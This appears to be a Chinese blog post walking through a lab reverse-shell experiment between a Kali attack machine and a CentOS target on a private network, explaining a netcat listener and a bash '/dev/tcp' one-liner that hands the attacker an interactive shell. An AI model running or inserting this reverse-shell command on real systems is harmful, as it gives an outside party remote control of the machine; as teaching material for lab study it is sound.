首页 > 系统相关 >反弹Shell小实验

反弹Shell小实验

时间:2022-10-04 21:47:36浏览次数:48  
标签:Shell 攻击机 nc 端口 192.168 实验 反弹 bash

反弹Shell

实验环境

攻击机:kali (IP:192.168.40.132)

目标机:CentOS (IP:192.168.40.135)

实验步骤

首先在攻击机监听一个随机端口:

nc -lvp 6767

第二步在目标机输入命令:

bash -i > /dev/tcp/192.168.40.132/6767 0>&1 2>&1

这时候攻击机终端出现交互式bash

在攻击机终端输入命令cat /etc/os-release可以看到目标机操作系统相关信息

这时候表明我们已经成功执行了反弹Shell,接下来就可以get shell了

解释

  • nc -lvp 6767

    ncnetcat的缩写,可以实现任意TCP/UDP端口的侦听, nc可以作为server以TCP或UDP方式侦听指定端口。 -l 监听,-v 输出交互或出错信息,-p 端口 。

命令 解释
bash -i 产生一个交互式shell(bash)
/dev/tcp/ip/port 建立TCP连接,特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
0>&1 将标准输入、标准输出、错误输出全都重定向到攻击端

标签:Shell,攻击机,nc,端口,192.168,实验,反弹,bash
From: https://www.cnblogs.com/Weber-security/p/16754552.html

相关文章

  • 实验4:开源控制器实践——OpenDaylight
    一、基本要求1、Mininet拓扑生成并连接控制器的结果2、Mininet中ping测试截图二、进阶要求1、ODL提供的文档链接:http://127.0.0.1:8181/apidoc/explorer/index.html......
  • 实验4:开源控制器实践——OpenDaylight
    实验4:开源控制器实践——OpenDaylight第一部分:基本实验1.利用Mininet平台搭建下图所示网络拓扑,并连接OpenDaylight控制器执行结果截图2.通过Postman工具调用OpenDayl......
  • 实验1
    #include<iostream>#include<string>#include<vector>intmain(){usingnamespacestd;strings1;strings2{"cplusplus"};strings3{s2}......
  • 实验4:开源控制器实践——OpenDaylight
    一.基本要求1.利用Mininet平台搭建下图所示网络拓扑,并连接OpenDaylight控制器2.通过Postman工具调用OpenDaylight提供的API下发流表,实现拓扑内主机h1和h3网络中断10s......
  • 实验4:开源控制器实践——OpenDaylight
    一、实验目的1.能够独立完成OpenDaylight控制器的安装配置;2.能够使用Postman工具调用OpenDaylightAPI接口下发流表。二、实验环境Ubuntu20.04Desktopamd64三、实......
  • 实验一
    task2:#include<iostream>usingstd::cout;usingstd::endl;//定义Point类classPoint{public:Point(intx0=0,inty0=0);Point(constPoint&p......
  • 实验一
        #include<iostream>#include<cstring>#include<vector>usingnamespacestd;intmain(){  strings1;  strings2{"cplusplus"};  strings3......
  • 实验1 类和对象
    实验任务1task1_1.cpp#include<iostream>#include<string>#include<vector>intmain(){usingnamespacestd;strings1;strings2{"cplusplu......
  • 实验3:OpenFlow协议分析实践
    实验3:OpenFlow协议分析实践一、实验目的能够运用wireshark对OpenFlow协议数据交互过程进行抓包;能够借助包解析工具,分析与解释OpenFlow协议的数据包交互过程与机制......
  • 实验4_开源控制器实践——OpenDaylight
    基础要求需要提交两张图,一是Mininet拓扑生成并连接控制器的结果二是Mininet中ping测试截图,并体现个人信息进阶要求1、获取拓扑的交换机2、获取流表状态数量3、......